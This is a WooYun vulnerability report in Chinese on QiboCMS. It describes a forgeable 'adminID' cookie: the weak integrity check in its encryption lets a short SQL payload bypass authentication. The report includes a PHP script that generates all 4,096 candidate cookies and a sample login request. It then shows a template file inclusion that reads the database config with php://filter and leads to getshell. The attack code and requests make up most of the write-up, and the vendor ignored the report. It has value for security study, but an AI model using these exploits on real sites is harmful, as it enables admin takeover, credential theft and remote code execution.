当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-72994

漏洞标题: qibocms某功能缺陷可致前台管理登录

相关厂商: 齐博CMS

漏洞作者: loopx9认证白帽子

提交时间: 2014-08-19 18:08

公开时间: 2014-11-14 18:10

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 认证设计不合理 设计缺陷

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-19: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2014-11-14: 细节向公众公开

简要描述:

RT.前台管理登录,由于是通用文件,涉及多个系统。

详细说明:

0x1 前台admin登录

inc/function.inc.php:

code 区域
function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密 
global $webdb;
if($action=="DE"){//处理+号在URL传递过程中会异常
$string = str_replace('QIBO|ADD','+',$string);
}
$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定
if(!is_string($string)){
$string=strval($string);
}
if($string==="") return "";
if($action=="EN") $md5code=substr(md5($string),8,10); //截取明文的md5 hash 10位
else{
$md5code=substr($string,-10);
$string=substr($string,0,strlen($string)-10);
}
//$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
$key = md5($md5code.$secret_string); //$md5code 随明文改变而改变,因而$key也是变化的
$string = ($action=="EN"?$string:base64_decode($string));
$len = strlen($key);
$code = "";
for($i=0; $i<strlen($string); $i++){
$k = $i%$len;
$code .= $string[$i]^$key[$k]; //按位异或
}
$code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code"); //解密过程会校验md5值
if($action=="EN"){//处理+号在URL传递过程中会异常
$code = str_replace('+','QIBO|ADD',$code);
}
return $code;
}

加密函数就是一个异或加密,参与异或的密钥是变化的,同时做了HMAC验证防止了篡改,总的来说安全性还是可以的。但函数实现HMAC的是 substr(md5($string),8,10),即知道了明文就知道了校验码。 那可不可以构造密文来利用呢?答案是可以的。由于不知道异或的密钥,只能暴力破解。异或密钥为32位md5,因而每一位就有16种可能(0-9,a-f), 那么N位明文可能的加密结果就有16的N次方种。翻代码找到一处可以利用的地方

code 区域
common.inc.php: 208-213
//$_COOKIE["adminID"]是后台登录后生成的,用于前台同步登录。
if($_COOKIE["adminID"]&&$detail=mymd5($_COOKIE["adminID"],'DE',$onlineip)){ //我们构造 1'# 的密文提交
unset($_uid,$_username,$_password);
list($_uid,$_username,$_password)=explode("\t",$detail); //当解密成功后,$_uid="1'#";
$lfjdb=$db->get_one("SELECT * FROM {$pre}memberdata WHERE uid='$_uid' AND username='$_username'");//成功取到uid=1的记录,基本上就是admin
}

没有验证password,所以直接就能以admin身份登陆前台。这里我们的明文只有短短的3位(1'#),对应4096种密文。

code 区域
<?php
$str = "1'#";
$key = "0123456789abcdef";
for ($i = 0; $i < strlen($key); $i++) {
$a[] = $str[0] ^ $key[$i];
$b[] = $str[1] ^ $key[$i];
$c[] = $str[2] ^ $key[$i];
}
for ($i = 0; $i < 16; $i++) {
for ($j = 0; $j < 16; $j++) {
for ($k = 0; $k < 16; $k++) {
$result[] = $a[$i] . $b[$j] . $c[$k];
}
}
}
file_exists('cookie.txt') && unlink('cookie.txt');
foreach ($result as $v)
file_put_contents('cookie.txt', urlencode(str_replace('+', 'QIBO|ADD', base64_encode($v))) . substr(md5($str), 8, 10) . "\r\n", FILE_APPEND);
?>

最多请求4096次,还能接受。burp 跑一下也就分分钟。

image001.png

code 区域
GET /member/index.php HTTP/1.1
Accept: */*
Referer: http://**.**.**.**/
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Proxy-Connection: Keep-Alive
Cookie: adminID=U0QXcdb8c28d5d
X-Forwarded-For: **.**.**.**
Connection: close

1.png



0x2 前台getshell(整站系统)

以admin登录后,编辑文章,模板选择 template/default/list.htm ,模板解析是直接require的。而 template/default/list.htm 中有一句

code 区域
if($listdb_moresort){@include("$bigsortTPL");}

$listdb_moresort 和 $bigsortTPL 都可以通过$_GET、$_POST注册。于是可以文件包含了。

2.png

漏洞证明:

code 区域
http://**.**.**.**/bencandy.php?fid=3&id=665&listdb_moresort=1&bigsortTPL=php://filter/read=convert.base64-encode/resource=data/config.php

成功读取data/mysql_config.php

3.png

code 区域
<?php

/**
* 以下变量需根据您的服务器说明档修改
*/
$dbhost = 'localhost'; // 数据库服务器(一般不必改)
$dbuser = 'v7'; // 数据库用户名
$dbpw = 'v7v7'; // 数据库密码
$dbname = 'v7'; // 数据库名
$pre='qibosoft_'; // 网站表区分符

$database = 'mysql'; // 数据库类型(一般不必改)
$pconnect = 0; // 数据库是否持久连接(一般不必改)
$dbcharset = ''; // 数据库编码,如果出现网页乱码,你可以尝试改为gbk或latin1或utf8或big5,即可解决

?>

由于url_allow_include=Off,RFI变LFI。只能传个图片然后本地包含。官方demo已shell:

4.png

修复方案:

加强消息验证码复杂度,比如引入$webdb[mymd5].

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-14 18:10

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-08-24 18:25 | ′king ( 实习白帽子 | Rank:40 漏洞数:8 | 马甲甲)
    2

    强大 之前看算法都没搞定。 哥们 提醒一句 以后这类型的洞要选择通用型。 要不是不会有奖励的 @疯狗 来改一下吧。

  2. 2014-08-24 19:04 | loopx9 认证白帽子 ( 普通白帽子 | Rank:789 漏洞数:80 | ..)
    0

    厂商干嘛去了,都公开了。@疯狗 这个算通用么

  3. 2014-08-24 19:25 | ′king ( 实习白帽子 | Rank:40 漏洞数:8 | 马甲甲)
    0

    @loopx9 肯定是通用撒。。 你没选择通用型漏洞。 是没有奖励的。 选择通用型的话就算忽略暂时也不会公开的。 @疯狗 能改。

  4. 2014-10-09 13:39 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    洞主,这个洞的忽略时间好流逼

登录后才能发表评论,请先 登录